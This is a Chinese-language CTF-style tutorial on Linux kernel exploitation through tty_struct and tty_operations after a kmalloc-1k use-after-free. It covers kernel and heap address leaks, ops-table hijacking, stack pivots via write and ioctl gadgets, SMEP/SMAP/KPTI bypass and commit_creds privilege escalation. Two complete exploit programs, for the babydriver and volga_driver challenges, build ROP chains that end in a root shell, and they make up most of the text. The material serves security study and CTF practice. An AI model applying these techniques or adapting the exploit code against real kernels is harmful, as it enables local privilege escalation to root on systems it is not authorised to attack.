目录

Kernel Pwn Struct tty_struct and Struct tty_operations

linux 中有一个伪终端设备 /dev/ptmx, 当 open("/dev/ptmx") 时, 会从 kmalloc-1k 中分配一个 tty_struct (0x2b8). 这个结构体关键的一些变量如下:

c

struct tty_struct {
    int magic;
    struct kref kref;
    struct device *dev;
    struct tty_driver *driver;
    const struct tty_operations *ops;
    // ...
}

其中 magic 是魔数, 为 0x5401, tty_operations 是一个类似 vtable 的东西:

c

struct tty_operations {
    struct tty_struct * (*lookup)(struct tty_driver *driver, struct file *filp, int idx);
    int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
    void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
    int  (*open)(struct tty_struct * tty, struct file * filp);
    void (*close)(struct tty_struct * tty, struct file * filp);
    void (*shutdown)(struct tty_struct *tty);
    void (*cleanup)(struct tty_struct *tty);
    int  (*write)(struct tty_struct * tty, const unsigned char *buf, int count);
    int  (*put_char)(struct tty_struct *tty, unsigned char ch);
    void (*flush_chars)(struct tty_struct *tty);
    int  (*write_room)(struct tty_struct *tty);
    int  (*chars_in_buffer)(struct tty_struct *tty);
    int  (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg);
    long (*compat_ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg);
    void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
    void (*throttle)(struct tty_struct * tty);
    void (*unthrottle)(struct tty_struct * tty);
    void (*stop)(struct tty_struct *tty);
    void (*start)(struct tty_struct *tty);
    void (*hangup)(struct tty_struct *tty);
    int (*break_ctl)(struct tty_struct *tty, int state);
    void (*flush_buffer)(struct tty_struct *tty);
    void (*set_ldisc)(struct tty_struct *tty);
    void (*wait_until_sent)(struct tty_struct *tty, int timeout);
    void (*send_xchar)(struct tty_struct *tty, char ch);
    int (*tiocmget)(struct tty_struct *tty);
    int (*tiocmset)(struct tty_struct *tty, unsigned int set, unsigned int clear);
    int (*resize)(struct tty_struct *tty, struct winsize *ws);
    int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
    int (*get_icount)(struct tty_struct *tty, struct serial_icounter_struct *icount);
    void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
    int (*poll_init)(struct tty_driver *driver, int line, char *options);
    int (*poll_get_char)(struct tty_driver *driver, int line);
    void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
    int (*proc_show)(struct seq_file *, void *);
}

ops 在初始化的时候会赋值为一个全局变量 ptm_unix98_ops. 同时, tty_struct 上还存有一些双向链表结构的变量, 初始化后会将 next 和 pre 都设置成自身, 从而存在一些堆地址.

如果有 kmalloc-1k 的 UAF, 那么可以:

  1. leak kbase (r)
  2. leak kmalloc-1k heap (r)
  3. hijack rip (w)
  4. write arbitrary at arbitrary addr (w)

需要读功能. 可以用偏移 0x18 处的 ops = ptm_unix98_ops, 关闭 kaslr, 从 kallsyms 中读取 ptm_unix98_ops. 用泄漏出来的地址减去它, 就是基址了.

需要读功能. 可以用偏移 0x38 处的一个链表指针, 它初始指向自身. 读出后减去 0x38 就是当前 tty_struct 的地址, 也是某个 kmalloc-1k 的堆地址.

需要写功能, 覆盖 ops, 伪造一个 tty_operations

(可以把 ops 的函数指针都试试).

比如使用 write. 当跳转到 write 时, 观察寄存器, 发现 rax 就是 &tty_struct.ops, 可以找 gadget 如 mov rsp, rax 进行栈迁移, 这样可以覆盖 tty_struct.ops 之前的数据来 ROP. 不过这个空间有点小, 不够 ROP 还得再一次栈迁移.

或者使用 ioctl, 它可以通过传递参数控制一些寄存器的值. 需要注意的是, 要使用 ioctl 必须保证魔数正确, driver 是一个内核堆地址.

当 ioctl 传入的 cmd 没有预设好的, 并且 tty->ops->ioctl != NULL, 那么会调用 tty->ops->ioctl(tty, cmd, arg).

当走到这一步时, rbp = &tty_struct, 如果将 tty->op->ioctl 设为 leave; ret, 即可先将栈迁移到 &tty_struct + 0x8 处. 将这里设为 pop rsp; ret, &tty_struct + 0x10 (.driver) 处设为布置有 ROP 链的内核堆地址, 完成第二次栈迁移.

注意
到 ioctl 的时候, 不同内核版本的寄存器环境可能不太一样, 还是需要观察, 有时 rbp 不是 &tty_struct, 但是其他寄存器可能是, 然后找 push reg; pop rsp; ret 这些, 也能够达到栈迁移的效果. 如果这个 reg 是 ioctl 可控参数, 那么可以一次栈迁移. (好像其实这样更方便通用).

需要写功能, 还是覆盖 ops 然后 ioctl, 利用 mov [rdx], rsi 这种 gadget.

我们用这个方法来做一下 babydriver 这题, 并加上 kaslr 和 kallsyms 不可读.

在 qemu 启动脚本中 -append 中加入 kaslr, 在 init 中加上一行 echo 2 > /proc/sys/kernel/kptr_restrict.

因为有 read, 所以可以泄漏 tty_struct 中的信息, 如 tty_operations. tty_operations 会被初始化为全局变量 ptm_unix98_opspty_unix98_ops, 他们在内核空间, 所以可以用来泄漏, 并计算偏移.

由于没开 smap, 可以直接劫持 tty_operations 到用户空间上, 这样构造起来就很方便了.

只能控制一个函数指针, 而且没有办法像 FSOP 那样改为 system 直接提权, 所以需要做一下栈迁移. 栈也可以迁移到用户空间上, 然后 ROP, bypass smep, ret2usr 提权.

当执行函数指针 write 时, 观察寄存器, 发现 rax 的值是 tty_operations, 所以可以找 gadget 将栈迁移到伪造的 tty_operations 上. 如果栈还不够大, 可以再进行一次栈迁移.

这里可以找到 mov rsp, rax ; dec ebx ; jmp 0xffffffff8181bf7e, 而 jmp 的地址处正好为 ret. 这样一条语句就栈迁移了.

首先关闭 kaslr, 手动读 kallsyms 找出我们需要的函数和 gadget 地址, 然后分配到 tty_struct, read 泄漏地址, 计算偏移, 写 tty_operations 指针为用户空间地址 fake_tty_operations, 其 write 指针处写为 mov rsp, rax; ret gadget, 然后从 fake_tty_operations 开始位置布置 ROP 链, 修改 cr4 bypass smep, ret2usr 提权.

c

// gcc exp.c -static -masm=intel -g -o exp
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/wait.h>

void success(const char *msg) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[32m\033[1m[+] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
}

void fail(const char *msg) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[31m\033[1m[x] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
}

void debug(const char *msg) {
#ifdef DEBUG
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[34m\033[1m[*] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
#endif
}

void printvar(void print_handle(const char *), char *hint, size_t var) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "%s: 0x%lx\n", hint, var);
    print_handle(buf);
    free(buf);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    user_sp &= ~0xf;
    success("Status has been saved.\n");
    printvar(debug, "cs", user_cs);
    printvar(debug, "ss", user_ss);
    printvar(debug, "rsp", user_sp);
    printvar(debug, "rflags", user_rflags);
}

void getRootShell() {
    success("Backing from the kernelspace.\n");
    if(getuid()) {
        fail("Failed to get the root!\n");
        exit(-1);
    }
    success("Successful to get the root. Execve root shell now...\n");
    system("/bin/sh");
    exit(0);// to exit the process normally instead of segmentation fault
}
size_t func = (size_t) getRootShell;

size_t prepare_kernel_cred, commit_creds;
void ret2usr() {
    __asm__(
        "mov rax, prepare_kernel_cred;"
        "mov rdi, 0;"
        "call rax;"
        "mov rdi, rax;"
        "mov rax, commit_creds;"
        "call rax;"
        "swapgs;"
        "push user_ss;"
        "push user_sp;"
        "push user_rflags;"
        "push user_cs;"
        "push func;"
        "iretq;"
    );
}

void pwn() {
    int fd1 = open("/dev/babydev", O_RDWR);
    int fd2 = open("/dev/babydev", O_RDWR);

    ioctl(fd1, 65537, 0x2e0);
    close(fd1);

    int tty = open("/dev/ptmx", O_RDWR);

    size_t buf[4] = {0};
    read(fd2, buf, 0x20);
    size_t off = buf[3] - 0xffffffff81a74f80;
    printvar(success, "off", off);

    size_t mov_rsp_rax_ret         = off + 0xffffffff8181bfc5;
    size_t mov_cr4_rdi_pop_rbp_ret = off + 0xffffffff81004d80;
    size_t pop_rdi_ret             = off + 0xffffffff810d238d;
    prepare_kernel_cred            = off + 0xffffffff810a1810;
    commit_creds                   = off + 0xffffffff810a1420;

    size_t fake_tty_operators[8];
    fake_tty_operators[7] = mov_rsp_rax_ret;
    fake_tty_operators[0] = pop_rdi_ret;
    fake_tty_operators[1] = 0x6f0;
    fake_tty_operators[2] = mov_cr4_rdi_pop_rbp_ret;
    fake_tty_operators[3] = 0;
    fake_tty_operators[4] = (size_t) ret2usr;

    buf[3] = (size_t) &fake_tty_operators;
    write(fd2, buf, 0x20);

    write(tty, buf, 1);
}

int main() {
    signal(SIGSEGV, getRootShell);
    saveStatus();
    pwn();
    return 0;
}

菜单, 简单的 kmalloc-1k UAF, 可读写, 就不贴代码了. 保护是 smep, smap, kpti, 没有 kaslr.

这题使用 ioctl 来控制程序流. 由于没有溢出, 也开了 smap, 所以我们的 ROP 链只能够放在 kheap 上. 这里就需要泄漏一下 kheap. 首先分配一个 kmalloc-1k, 然后释放它, 再 open tty. 利用 UAF, 可以读到这个 tty struct 上的, 指向自身的指针, 从而泄漏这个 tty struct 地址.

然后覆盖 ops 函数表为 tty_addr + 0x20 - 0x60, 将 ioctl 指向 tty_addr + 0x20 这里, 因为这里是我们可以控制的位置. 我们向这里输入 leave; ret 的地址. 这样, ioctl 调用函数表这里, rbp 是 &tty_addr, leave 后 rsp 就到了 &tty_addr + 0x8. 这里也是我们可以控制的. 将其改为 pop rsp ret, 后面接 tty_addr + 0x30 (或者其他偏移, 只要在 kheap 上且能够控制), 然后便可以继续在这个位置上布置更长的 ROP 链了.

这个版本找不到 rax 放入 rdi 的方法, 所以难以构造 commit_creds(prepare_kernel_cred(0)). 幸运的是, kernel 中有个静态变量 init_cred, 他是 init 程序 (即根进程所使用的 cred), 具有 root 权限. 查一下 kallsyms 可以获得地址, 于是构造 commit_creds(init_cred) 即可提权. 最后回到用户态起 shell 即可.

c

// gcc exp.c -static -masm=intel -g -o exp
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>

void success(const char *msg) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[32m\033[1m[+] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
}

void fail(const char *msg) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[31m\033[1m[x] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
}

void debug(const char *msg) {
#ifdef DEBUG
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[34m\033[1m[*] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
#endif
}

void printvar(void print_handle(const char *), char *hint, size_t var) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "%s: 0x%lx\n", hint, var);
    print_handle(buf);
    free(buf);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    user_sp &= ~0xf;
    success("Status has been saved.\n");
    printvar(debug, "cs", user_cs);
    printvar(debug, "ss", user_ss);
    printvar(debug, "rsp", user_sp);
    printvar(debug, "rflags", user_rflags);
}

void getRootShell() {
    success("Backing from the kernelspace.\n");
    if(getuid()) {
        fail("Failed to get the root!\n");
        exit(-1);
    }
    success("Successful to get the root. Execve root shell now...\n");
    system("/bin/sh");
    exit(0);// to exit the process normally instead of segmentation fault
}

typedef struct ioctl_struct {
    int note_index;
    int note_size;
    char *in_buf;
    char *out_buf;
} request_t;

#define ADD  0x1337
#define WRITE 0x1338
#define READ 0x1339
#define FREE 0x133a
#define TTYSIZE 0x2b8
size_t leave_ret = 0xffffffff81b725f5ll;
size_t pop_rsp_ret = 0xffffffff81104cc6ll;
size_t init_cred = 0xffffffff8264c7a0ll;
size_t commit_creds = 0xffffffff8108d4b0ll;
size_t pop_rdi_ret = 0xffffffff817c39fdll;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00e30ll + 0x31;

void pwn() {
    size_t *tty_struct = calloc(1, TTYSIZE);

    int fd = open("/dev/volga_driver", O_RDWR);
    request_t tty_request;
    tty_request.note_index = 0;
    tty_request.note_size = TTYSIZE;
    tty_request.in_buf = (char *)tty_struct;
    tty_request.out_buf = (char *)tty_struct;
    ioctl(fd, ADD, &tty_request);
    ioctl(fd, FREE, &tty_request);

    int tty = open("/dev/ptmx", O_RDWR);
    ioctl(fd, READ, &tty_request);

    size_t tty_addr = tty_struct[0x38/8] - 0x38;
    printvar(success, "tty addr", tty_addr);

    size_t *rop = tty_struct + 0x30/8;
    size_t rop_addr = tty_addr + 0x30;

    tty_struct[0x08/8] = pop_rsp_ret;
    tty_struct[0x10/8] = rop_addr;
    tty_struct[0x18/8] = tty_addr + 0x20 - 0x60;
    tty_struct[0x20/8] = leave_ret;

    *rop++ = pop_rdi_ret;
    *rop++ = init_cred;
    *rop++ = commit_creds;
    *rop++ = swapgs_restore_regs_and_return_to_usermode;
    *rop++ = 0;
    *rop++ = 0;
    *rop++ = (size_t) getRootShell;
    *rop++ = user_cs;
    *rop++ = user_rflags;
    *rop++ = user_sp;
    *rop++ = user_ss;

    ioctl(fd, WRITE, &tty_request);

    ioctl(tty, 0xdeadbeef);
}

int main() {
    signal(SIGSEGV, getRootShell);
    saveStatus();
    pwn();
    return 0;
}

感觉这个方法比 write 那个要普适一点, 也挺模板的.